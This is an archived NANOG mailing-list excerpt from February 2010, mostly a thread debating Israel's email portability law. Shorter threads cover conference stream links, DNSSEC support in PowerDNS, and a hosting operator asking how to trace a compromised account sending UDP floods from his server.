<1266905164.24109.59.camel@ub-g-d2> Message-ID: <4B83BA64.6090000@nic-naa.net> On 2/23/10 1:25 AM, Steven Bellovin wrote: ... > And who runs this database? > > Local number portability requires a new database, one that didn't exist before, It's run by a neutral party and maps any phone number to a carrier and endpoint identifier. (In the US, that database is currently run by Neustar -- see http://www.neustar.biz/solutions/solutions-for/number-administration) A circa 1998 leveraged buy out of the Communications Industry Services unit of Lockheed Martin (Warburg Pinkus et al, 71%, MidOcean Capital 14%, ABS Capital 6%, and CEO Jeff Ganek < 3%, as of 2005). There are some NANOG employer entities similarly structured, but not many, so the oddity is worth mention. Eric From darcy at druid.net Tue Feb 23 05:25:42 2010 From: darcy at druid.net (D'Arcy J.M. Cain) Date: Tue, 23 Feb 2010 06:25:42 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223104323.GA6189@minerva.redbrick.dcu.ie> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <20100223104323.GA6189@minerva.redbrick.dcu.ie> Message-ID: <20100223062542.aa919a17.darcy@druid.net> [* Is trimming included text a lost art nowadays? *] On Tue, 23 Feb 2010 10:43:23+0000 Cian Brennan wrote: > > Maybe politicians should just keep their nose out of things that they > > can't understand. Email addresses aren't phone numbers. > > > As has been pointed out several times, they can easily be pretty close. Simply Sure, they are sort of like if you squint. Looked at another way they are kind of like a specific name at a street address. On the other hand, what email addresses are exactly like is email addresses. Metaphors are for illustrating something we already know, not for proving something we don't. Metaphors are like... Umm... > force them to send using the outgoing server of their new ISP, but allow them As soon as I see the word "force" I know I'm not going to like what follows. Why force them to use a specific server at all? My clients use my outgoing server no matter who they connect to. I think what you meant was that the old ISP should NOT be forced to continue supplying the outgoing service. That would make sense and requires no law. > to still access their mailbox (which is really the only important bit the ISP > hosts) over pop/imap/whatever. It's not free, but given that the average ISP > seems to give you only a few MB or space, it's hardly going to break the bank. If someone wants to maintain their old account for a while then what's stopping them? Cost? That's no excuse for moving the cost to the old supplier. If your online identity is important to you then pay the associated costs either with your own domain or by maintaining old accounts. My point is that everything necessary to solve the nominal problem is already in place. We don't need more laws. -- D'Arcy J.M. Cain | Democracy is three wolves http://www.druid.net/darcy/ | and a sheep voting on +1 416 425 1212 (DoD#0082) (eNTP) | what's for dinner. From xaerni at pop.ch Tue Feb 23 07:07:49 2010 From: xaerni at pop.ch (Xaver Aerni) Date: Tue, 23 Feb 2010 14:07:49 +0100 Subject: ISP in Johannesburg in Southdafrika Message-ID: Hello, We are looking for this year a Provider in Johannesburg for a temporay Internetconnection for 1 Mounth during the WM 2010. Does somebody know a Provider which has stabile line there. With speed 2 Mb or more. (guarantie) Greetings Xaver From sean at donelan.com Tue Feb 23 08:25:33 2010 From: sean at donelan.com (Sean Donelan) Date: Tue, 23 Feb 2010 09:25:33 -0500 (EST) Subject: Networks during disasters: coordinating locally Message-ID: http://www.computerworld.com/s/article/9160298/Commercial_networks_in_Haiti_cause_problems_for_local_ISPs IDG News Service - While the communications networks that aid groups set up quickly following the earthquake in Haiti were surely critical to rescue efforts, the new networks have had some negative effects on the local ISP community. From jeff-kell at utc.edu Tue Feb 23 08:34:08 2010 From: jeff-kell at utc.edu (Jeff Kell) Date: Tue, 23 Feb 2010 09:34:08 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> Message-ID: <4B83E760.3010104@utc.edu> On 2/23/2010 1:25 AM, Steven Bellovin wrote: > Figuring out how such a solution would work with email is left as an exercise for the reader. > Well, clearly, the planet just needs to join Active Directory, and the user convert to Outlook, and use the Global Address List, and... [Sorry, I have heard that proposed by M$C** folks as a solution to just about everything else in the universe....] :-) Jeff From LarrySheldon at cox.net Tue Feb 23 09:06:07 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 23 Feb 2010 09:06:07 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B836581.9080108@dcrocker.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> Message-ID: <4B83EEDF.9000206@cox.net> On 2/22/2010 11:20 PM, Dave CROCKER wrote: > > > On 2/22/2010 8:42 PM, Larry Sheldon wrote: >> When Somebody calls one of my "portable" telephone numbers, they don't >> get a message telling them they have to call some other number. The get >> call progress tones. > > > You are confusing what is presented to the end-user with what might be going on > within the infrastructure service. > > Call progress tones are the former and their primary goal is to keep the user > happy, providing very constrained information. Especially for mobile phones, > there is often all sorts of forwarding signallying going on while you hear to tones. I understand that--and had not considered that the global inventory of MTAs could be swapped out with stuff that could handle the redirection mechanically. I had left the telephone business by the time SS7 came along--how was that introduced? (I have assumed that it was as the #2, #4, and #5 machines and their equivalents were swapped out for ESS machines for a lot of additional reasons.) > In general, a core problem with the Knesset law is that it presumes something > that is viable for the phone infrastructure is equally - or at least tolerably - > viable in the email infrastructure. Unfortunately, the details of the two are > massively different in terms of architecture, service model, cost structures and > operational skills. No kidding--something like making airlines do something railroads can do. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From tkapela at gmail.com Tue Feb 23 09:26:07 2010 From: tkapela at gmail.com (Anton Kapela) Date: Tue, 23 Feb 2010 09:26:07 -0600 Subject: NANOG48 HD streams now active Message-ID: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> Web browser embedded flash player: http://nanog.iristransport.net/nanog48/ VLC direct link: http://204.29.15.165:10001 Enjoy, -Tk From gordslater at ieee.org Tue Feb 23 10:23:03 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 23 Feb 2010 16:23:03 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B83B3BB.3060306@ukbroadband.com> References: <4B83B3BB.3060306@ukbroadband.com> Message-ID: <1266942183.21966.4.camel@ub-g-d2> On Tue, 2010-02-23 at 10:53 +0000, Leigh Porter wrote: > > Just wait till customers start wanting to take their IP address with > them when they move... Oh wow, I think I've still got a log (somewhere) of all the dialup IPs I was assigned during the early 90s. Since I might be able to claim them first under consumer legislation.... This thread may be getting sillier by hour, but it's got some interesting suggestions tucked into it Gord -- currently drawing up a pre-emptive claim to about 88,234 AOL IPv4s and several thousand Demon ones, tickety-tick-tick From LarrySheldon at cox.net Tue Feb 23 10:28:03 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 23 Feb 2010 10:28:03 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223053953.b65e2d7d.darcy@druid.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> Message-ID: <4B840213.2090306@cox.net> On 2/23/2010 4:39 AM, D'Arcy J.M. Cain wrote: > Maybe politicians should just keep their nose out of things that they > can't understand. Email addresses aren't phone numbers. It occurs to me that maybe there is a reason why political conservatives get so excited about "minor, trivial" erosions of sanity; why they worry about "where this might lead".... It's been mentioned--why not "portable" street addresses. Fire departments will just have to adapt. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From gordslater at ieee.org Tue Feb 23 10:29:39 2010 From: gordslater at ieee.org (gordon b slater) Date: Tue, 23 Feb 2010 16:29:39 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B83E760.3010104@utc.edu> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <4B83E760.3010104@utc.edu> Message-ID: <1266942579.21966.10.camel@ub-g-d2> On Tue, 2010-02-23 at 09:34 -0500, Jeff Kell wrote: > Well, clearly, the planet just needs to join Active Directory, and the > user convert to Outlook, and use the Global Address List, and... > Ahem! If they (M$) were to go back to the LDAP specs, they could save a lot of time. They could even re-brand the new Global AD with a simple sed one-liner and reduce time-to-market at the same time. > [Sorry, I have heard that proposed by M$C** folks as a solution to just > about everything else in the universe....] Yeah, any more corporate/political hot air and this thread will burn up :) Gord -- Gah! Portability, schmortability. Meh From cmaurand at xyonet.com Tue Feb 23 10:33:40 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Tue, 23 Feb 2010 11:33:40 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: <4B829E39.6070600@linuxbox.org> <6104c3e31002220808v3fca8a0bp56a58513e9dfbc2c@mail.gmail.com> <4B82B13D.5010804@cox.net> <4B82B5B7.2010406@cox.net> Message-ID: <4B840364.6050504@xyonet.com> On 2/22/2010 12:02 PM, Joel Esler wrote: > I have an idea. Everyone just get a gmail (or otherwise "neutral" account) like me.com or gmail.com or yahoo.com and be done with it. > > J > > Sure and give all that information to data mining companies with no interest in privacy. No thank you. I have a gmail account that I only use to test other accounts. I don't need folks snooping in my emai as google does. C From LarrySheldon at cox.net Tue Feb 23 10:32:45 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 23 Feb 2010 10:32:45 -0600 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223104323.GA6189@minerva.redbrick.dcu.ie> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <20100223104323.GA6189@minerva.redbrick.dcu.ie> Message-ID: <4B84032D.3050207@cox.net> On 2/23/2010 4:43 AM, Cian Brennan wrote: > As has been pointed out several times, they can easily be pretty close. Simply > force them to send using the outgoing server of their new ISP, but allow them > to still access their mailbox (which is really the only important bit the ISP > hosts) over pop/imap/whatever. It's not free, but given that the average ISP > seems to give you only a few MB or space, it's hardly going to break the bank. and they get shut down for TOS violations (for extra credit, whose TOS will apply?)(for more extra credit, who orders the shutdown?) they take their "portable" address somewhere else. Now what? -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From awacs at ziskind.us Tue Feb 23 10:34:39 2010 From: awacs at ziskind.us (N. Yaakov Ziskind) Date: Tue, 23 Feb 2010 11:34:39 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B840213.2090306@cox.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> Message-ID: <20100223113439.C27943@egps.egps.com> Larry Sheldon wrote (on Tue, Feb 23, 2010 at 10:28:03AM -0600): > On 2/23/2010 4:39 AM, D'Arcy J.M. Cain wrote: > > > Maybe politicians should just keep their nose out of things that they > > can't understand. Email addresses aren't phone numbers. > > It occurs to me that maybe there is a reason why political conservatives > get so excited about "minor, trivial" erosions of sanity; why they worry > about "where this might lead".... > > It's been mentioned--why not "portable" street addresses. Fire > departments will just have to adapt. If you want an example of just what would result, take a trip to Tokyo, where house numbers were assigned in the order that building permits were issued, and you need *extremely* detailed directions. -- _________________________________________ Nachman Yaakov Ziskind, FSPA, LLM awacs at ziskind.us Attorney and Counselor-at-Law http://ziskind.us Economic Group Pension Services http://egps.com Actuaries and Employee Benefit Consultants From cmaurand at xyonet.com Tue Feb 23 10:40:06 2010 From: cmaurand at xyonet.com (Curtis Maurand) Date: Tue, 23 Feb 2010 11:40:06 -0500 Subject: DNS server software In-Reply-To: <4B82E62D.30001@Janoszka.pl> References: <20100222143910.GB32700@macbook.catpipe.net> <4B82E62D.30001@Janoszka.pl> Message-ID: <4B8404E6.90700@xyonet.com> DNSSEC with powerdns is under development. Its coming soon to a server near you. --C On 2/22/2010 3:16 PM, Grzegorz Janoszka wrote: > On 22-2-2010 15:39, Phil Regnauld wrote: >> PowerDNS also has an open source solution (www.powerdns.com). >> PowerDNS >> is easily modified with custom backends (using a simple pipe >> interface). >> >> All of the above support DNSSEC. > > I do not think so: > > http://en.wikipedia.org/wiki/Comparison_of_DNS_server_software > > DNSSEC support in PowerDNS is currently restricted to being able to > serve DNSSEC-related RRs. No further DNSSEC processing takes place. > > I have reviewed all popular DNS software recently, PowerDNS was really > OK, but eventually I have decided not to go with it due to lack of > full DNSSEC support. > From scott.brim at gmail.com Tue Feb 23 10:44:25 2010 From: scott.brim at gmail.com (Scott Brim) Date: Tue, 23 Feb 2010 11:44:25 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223113439.C27943@egps.egps.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> Message-ID: <4B8405E9.1050407@gmail.com> N. Yaakov Ziskind allegedly wrote on 02/23/2010 11:34 EST: > Larry Sheldon wrote (on Tue, Feb 23, 2010 at 10:28:03AM -0600): >> On 2/23/2010 4:39 AM, D'Arcy J.M. Cain wrote: >> >>> Maybe politicians should just keep their nose out of things that they >>> can't understand. Email addresses aren't phone numbers. >> >> It occurs to me that maybe there is a reason why political conservatives >> get so excited about "minor, trivial" erosions of sanity; why they worry >> about "where this might lead".... >> >> It's been mentioned--why not "portable" street addresses. Fire >> departments will just have to adapt. > > If you want an example of just what would result, take a trip to Tokyo, > where house numbers were assigned in the order that building permits > were issued, and you need *extremely* detailed directions. > Simple: you separate 'mail' addresses from 'fire' addresses. Mail addresses are identifiers. Fire addresses are locators. From owen at delong.com Tue Feb 23 10:42:33 2010 From: owen at delong.com (Owen DeLong) Date: Tue, 23 Feb 2010 08:42:33 -0800 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223113439.C27943@egps.egps.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> Message-ID: <80111016-D200-480B-8520-FEB78A613267@delong.com> On Feb 23, 2010, at 8:34 AM, N. Yaakov Ziskind wrote: > Larry Sheldon wrote (on Tue, Feb 23, 2010 at 10:28:03AM -0600): >> On 2/23/2010 4:39 AM, D'Arcy J.M. Cain wrote: >> >>> Maybe politicians should just keep their nose out of things that they >>> can't understand. Email addresses aren't phone numbers. >> >> It occurs to me that maybe there is a reason why political conservatives >> get so excited about "minor, trivial" erosions of sanity; why they worry >> about "where this might lead".... >> >> It's been mentioned--why not "portable" street addresses. Fire >> departments will just have to adapt. > > If you want an example of just what would result, take a trip to Tokyo, > where house numbers were assigned in the order that building permits > were issued, and you need *extremely* detailed directions. > Seoul is a good example of this as well, but, no-one is even sure that building age is actually determinant in Seoul. Most of the Koreans I was working with swear that addresses are assigned by a random number generator without duplicate detection. Owen From sronan at fattoc.com Tue Feb 23 10:49:40 2010 From: sronan at fattoc.com (Shane Ronan) Date: Tue, 23 Feb 2010 11:49:40 -0500 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223113439.C27943@egps.egps.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> Message-ID: <2E2E8E84-4622-413A-A5BA-4323B36AC2E5@fattoc.com> When in Tokyo, always have a MAP showing where you want to go. On Feb 23, 2010, at 11:34 AM, N. Yaakov Ziskind wrote: > Larry Sheldon wrote (on Tue, Feb 23, 2010 at 10:28:03AM -0600): >> On 2/23/2010 4:39 AM, D'Arcy J.M. Cain wrote: >> >>> Maybe politicians should just keep their nose out of things that >>> they >>> can't understand. Email addresses aren't phone numbers. >> >> It occurs to me that maybe there is a reason why political >> conservatives >> get so excited about "minor, trivial" erosions of sanity; why they >> worry >> about "where this might lead".... >> >> It's been mentioned--why not "portable" street addresses. Fire >> departments will just have to adapt. > > If you want an example of just what would result, take a trip to > Tokyo, > where house numbers were assigned in the order that building permits > were issued, and you need *extremely* detailed directions. > > -- > _________________________________________ > Nachman Yaakov Ziskind, FSPA, LLM awacs at ziskind.us > Attorney and Counselor-at-Law http://ziskind.us > Economic Group Pension Services http://egps.com > Actuaries and Employee Benefit Consultants > From cian.brennan at redbrick.dcu.ie Tue Feb 23 10:52:20 2010 From: cian.brennan at redbrick.dcu.ie (Cian Brennan) Date: Tue, 23 Feb 2010 16:52:20 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B84032D.3050207@cox.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <20100223104323.GA6189@minerva.redbrick.dcu.ie> <4B84032D.3050207@cox.net> Message-ID: <20100223165220.GA21278@minerva.redbrick.dcu.ie> On Tue, Feb 23, 2010 at 10:32:45AM -0600, Larry Sheldon wrote: > On 2/23/2010 4:43 AM, Cian Brennan wrote: > > > As has been pointed out several times, they can easily be pretty close. Simply > > force them to send using the outgoing server of their new ISP, but allow them > > to still access their mailbox (which is really the only important bit the ISP > > hosts) over pop/imap/whatever. It's not free, but given that the average ISP > > seems to give you only a few MB or space, it's hardly going to break the bank. > > and they get shut down for TOS violations (for extra credit, whose TOS > will apply?)(for more extra credit, who orders the shutdown?) they take > their "portable" address somewhere else. > We deal with this problem *already* everytime someone smtps from their ISPs mailserver with an address not provided by their ISP. If the issue is outbound mail, they can be blocked from sending outbound mail. If the issue is inbound mail, they've broken the original ISP's TOS and in both cases, can be dealt with as normal. > Now what? > > -- > "Government big enough to supply everything you need is big enough to > take everything you have." > > Remember: The Ark was built by amateurs, the Titanic by professionals. > > Requiescas in pace o email > Ex turpi causa non oritur actio > Eppure si rinfresca > > ICBM Targeting Information: http://tinyurl.com/4sqczs > http://tinyurl.com/7tp8ml > > > -- -- From jsage at finchhaven.com Tue Feb 23 10:54:23 2010 From: jsage at finchhaven.com (John Sage) Date: Tue, 23 Feb 2010 08:54:23 -0800 Subject: Kill this thread: Re: Email Portability Approved by Knesset Committee In-Reply-To: <4B84032D.3050207@cox.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <20100223104323.GA6189@minerva.redbrick.dcu.ie> <4B84032D.3050207@cox.net> Message-ID: <4B84083F.2060800@finchhaven.com> Larry Sheldon wrote: > On 2/23/2010 4:43 AM, Cian Brennan wrote: > >> As has been pointed out several times, they can easily be pretty close. Simply >> force them to send using the outgoing server of their new ISP, but allow them >> to still access their mailbox (which is really the only important bit the ISP >> hosts) over pop/imap/whatever. It's not free, but given that the average ISP >> seems to give you only a few MB or space, it's hardly going to break the bank. > > and they get shut down for TOS violations (for extra credit, whose TOS > will apply?)(for more extra credit, who orders the shutdown?) they take > their "portable" address somewhere else. > > Now what? > From dhc2 at dcrocker.net Tue Feb 23 11:03:41 2010 From: dhc2 at dcrocker.net (Dave CROCKER) Date: Tue, 23 Feb 2010 09:03:41 -0800 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B8405E9.1050407@gmail.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> <4B8405E9.1050407@gmail.com> Message-ID: <4B840A6D.5060301@dcrocker.net> On 2/23/2010 8:44 AM, Scott Brim wrote: > Simple: you separate 'mail' addresses from 'fire' addresses. Mail > addresses are identifiers. Fire addresses are locators. wrong approach. simply get fire engines to have heat sensors and set their gps accordingly. d/ -- Dave Crocker Brandenburg InternetWorking bbiw.net From LarrySheldon at cox.net Tue Feb 23 11:37:04 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 23 Feb 2010 11:37:04 -0600 Subject: NANOG48 HD streams now active In-Reply-To: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> References: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> Message-ID: <4B841240.5090608@cox.net> On 2/23/2010 9:26 AM, Anton Kapela wrote: > Web browser embedded flash player: > > http://nanog.iristransport.net/nanog48/ > > VLC direct link: > > http://204.29.15.165:10001 > > Enjoy, > > -Tk > > Heh. "This message may be a scam" and "Thunderbird thinks this message is a scam. The links in the message may be trying to impersonate web pages you want to visit. Are yiu sure you want to visit nanog.iristransport.net?" Houston, our protective systems may be part of the problem. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From rob at pickering.org Tue Feb 23 11:37:38 2010 From: rob at pickering.org (Rob Pickering) Date: Tue, 23 Feb 2010 17:37:38 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <4B83EEDF.9000206@cox.net> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <4B83EEDF.9000206@cox.net> Message-ID: <991FD3AE8CFA9270F2399B35@rob-PC> --On 23 February 2010 09:06 -0600 Larry Sheldon wrote: > No kidding--something like making airlines do something railroads > can do. I guess that depends whether you are talking about issuing flexible tickets or cruising at zero feet. -- Rob. From wavetossed at googlemail.com Tue Feb 23 11:43:07 2010 From: wavetossed at googlemail.com (Michael Dillon) Date: Tue, 23 Feb 2010 17:43:07 +0000 Subject: Email Portability Approved by Knesset Committee In-Reply-To: <20100223113439.C27943@egps.egps.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <4B840213.2090306@cox.net> <20100223113439.C27943@egps.egps.com> Message-ID: <877585b01002230943r7e2a97a8kc78790e09d28db43@mail.gmail.com> > If you want an example of just what would result, take a trip to Tokyo, > where house numbers were assigned in the order that building permits > were issued, and you need *extremely* detailed directions. The Soviet Union was not quite as chaotic as that, but they also didn't keep an organized system of building placement and street numbering. On this map of Kiev, it shows the building numbers so you can see how some of them are not easy to find from the street. http://wikimapia.org/#lat=50.4454261&lon=30.5302334&z=16&l=0&m=m --Michael Dillon From LarrySheldon at cox.net Tue Feb 23 12:05:24 2010 From: LarrySheldon at cox.net (Larry Sheldon) Date: Tue, 23 Feb 2010 12:05:24 -0600 Subject: Kill this thread: Re: Email Portability Approved by Knesset Committee In-Reply-To: <4B84083F.2060800@finchhaven.com> References: <20100223043810.1846.qmail@simone.iecc.com> <4B835CA9.10004@cox.net> <4B836581.9080108@dcrocker.net> <1266905164.24109.59.camel@ub-g-d2> <20100223053953.b65e2d7d.darcy@druid.net> <20100223104323.GA6189@minerva.redbrick.dcu.ie> <4B84032D.3050207@cox.net> <4B84083F.2060800@finchhaven.com> Message-ID: <4B8418E4.6030404@cox.net> On 2/23/2010 10:54 AM, John Sage wrote: Unquote I'd want to trade my email address for one that doesn't trigger empty responses. Or get me banned. But he's right, we should take the discussion of operational issues somewhere else. -- "Government big enough to supply everything you need is big enough to take everything you have." Remember: The Ark was built by amateurs, the Titanic by professionals. Requiescas in pace o email Ex turpi causa non oritur actio Eppure si rinfresca ICBM Targeting Information: http://tinyurl.com/4sqczs http://tinyurl.com/7tp8ml From peter.hicks at poggs.co.uk Tue Feb 23 13:04:05 2010 From: peter.hicks at poggs.co.uk (Peter Hicks) Date: Tue, 23 Feb 2010 19:04:05 +0000 Subject: NANOG48 HD streams now active In-Reply-To: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> References: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> Message-ID: <4B8426A5.1050909@poggs.co.uk> Anton Kapela wrote: > Web browser embedded flash player: > > http://nanog.iristransport.net/nanog48/ 7pm appears to be a bad time to tune in if you're in the UK... Poggs From alan at clegg.com Tue Feb 23 13:07:34 2010 From: alan at clegg.com (Alan Clegg) Date: Tue, 23 Feb 2010 14:07:34 -0500 Subject: NANOG48 HD streams now active In-Reply-To: <4B8426A5.1050909@poggs.co.uk> References: <7BF01DC7-0B4A-4B71-BD19-AC9E08C173B5@gmail.com> <4B8426A5.1050909@poggs.co.uk> Message-ID: <4B842776.6050403@clegg.com> Peter Hicks wrote: > Anton Kapela wrote: > >> Web browser embedded flash player: >> >> http://nanog.iristransport.net/nanog48/ > > 7pm appears to be a bad time to tune in if you're in the UK... The audio overlay of the people talking about the cake is quite humorous, I must say. AlanC -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 261 bytes Desc: OpenPGP digital signature URL: From pstewart at nexicomgroup.net Tue Feb 23 13:46:54 2010 From: pstewart at nexicomgroup.net (Paul Stewart) Date: Tue, 23 Feb 2010 14:46:54 -0500 Subject: Security Guideance Message-ID: Hi folks... We have a strange series of events going on in the past while.... Brief history here, looking for input from the community - especially some of the security folks on here. We provide web hosting services - one of our hosting boxes was found a while back with root kits installed, un patched software and lots of other "goodies". With some staff changes in place (don't think I need to elaborate on that) we are trying to clean up several issues including this particular server. A new server was provisioned, patched, and deployed. User data was moved over and now the same issue is coming back.... The problem is that a user on this box appears to be launching high traffic DOS attacks from it towards other sites. These are UDP based floods that move around from time to time - most of these attacks only last a few minutes. I've done tcpdumps within seconds of the attack starting and to date been unable to find the source of this attack (we know the server, just not sure which customer it is on the server that's been compromised). Several hours of scanning for php, cgi, pl type files have been wasted and come up nowhere... It's been suggested to dump IDS in front of this box and I know I'll get some feedback positive and negative in that aspect. What tools/practices do others use to resolve this issue? It's a Centos 5.4 box running latest Plesk control panel. Typically we have found it easy to track down the offending script or program - this time hasn't been easy at all... Thanks, Paul ---------------------------------------------------------------------------- "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or privileged material. If you received this in error, please contact the sender immediately and then destroy this transmission, including all attachments, without copying, distributing or disclosing same. Thank you." From joelja at bogus.com Tue Feb 23 13:56:02 2010 From: joelja at bogus.com (Joel Jaeggli) Date: Tue, 23 Feb 2010 20:56:02 +0100 Subject: Email Portability Approved by Knesset Committee In-Reply-To: References: Message-ID: <4B8432D2.1070408@bogus.com> Johnny Eriksson wrote: > Robert Bonomi wrote: > >> Quick! Somebody propose a snail-mail portability bill. When a renter >> changes to a different landlord, his snail-mail address will be optionally >> his to take along, "just like" what is proposed for ISP clients. > > No, a complete street address portability system. street addresses aren't so discrete that everyone doesn't handle them slightly differently. http://en.wikipedia.org/wiki/Address_(geography) And over course if you want to totally overhual the way you do things you can just build your method as a hostile overlay on another system, there's a long and proud tradition of doing so. > Assuming that I live on 1337 Main Street, I should be able to keep that > address even if I move to a different part of town, and I should be able > to use it for all purposes, including when I give my home address to a > cab driver, and it should just work. Why can't we get some reasonable > legislation like that enacted? > > --Johnny > From setient at gmail.com Tue Feb 23 14:19:56 2010 From: setient at gmail.com (Ronald Cotoni) Date: Tue, 23 Feb 2010 15:19:56 -0500 Subject: Security Guideance In-Reply-To: References: Message-ID: <2f1d68351002231219r1566504fx71c4a353eccee5c5@mail.gmail.com> Quick suggestion BUT you may want to have Parallels look into it if you can't seem to find it since you pay for the support anyways. You may also want to check to see if it is a cron job that is doing it (if the machine was root kitted, you may have accidentally copied a cron job over. Another suggestion would be simply move half the accounts to one server and half to another and see if it ddoses again and keep doing that until you find the problem account. On Tue, Feb 23, 2010 at 2:46 PM, Paul Stewart wrote: > Hi folks... > > > > We have a strange series of events going on in the past while.... Brief > history here, looking for input from the community - especially some of > the security folks on here. > > > > We provide web hosting services - one of our hosting boxes was found a > while back with root kits installed, un patched software and lots of > other "goodies". ? ?With some staff changes in place (don't think I need > to elaborate on that) we are trying to clean up several issues including > this particular server. ?A new server was provisioned, patched, and > deployed. ?User data was moved over and now the same issue is coming > back.... > > > > The problem is that a user on this box appears to be launching high > traffic DOS attacks from it towards other sites. ?These are UDP based > floods that move around from time to time - most of these attacks only > last a few minutes. > > > > I've done tcpdumps within seconds of the attack starting and to date > been unable to find the source of this attack (we know the server, just > not sure which customer it is on the server that's been compromised). > Several hours of scanning for php, cgi, pl type files have been wasted > and come up nowhere... > > > > It's been suggested to dump IDS in front of this box and I know I'll get > some feedback positive and negative in that aspect. > > > > What tools/practices do others use to resolve this issue? ?It's ?a > Centos 5.4 box running latest Plesk control panel. > > > > Typically we have found it easy to track down the offending script or > program - this time hasn't been easy at all... > > > > Thanks, > > > > Paul > > > > > > > > > > > > > ---------------------------------------------------------------------------- > > "The information transmitted is intended only for the person or entity to which it is addressed and contains confidential and/or 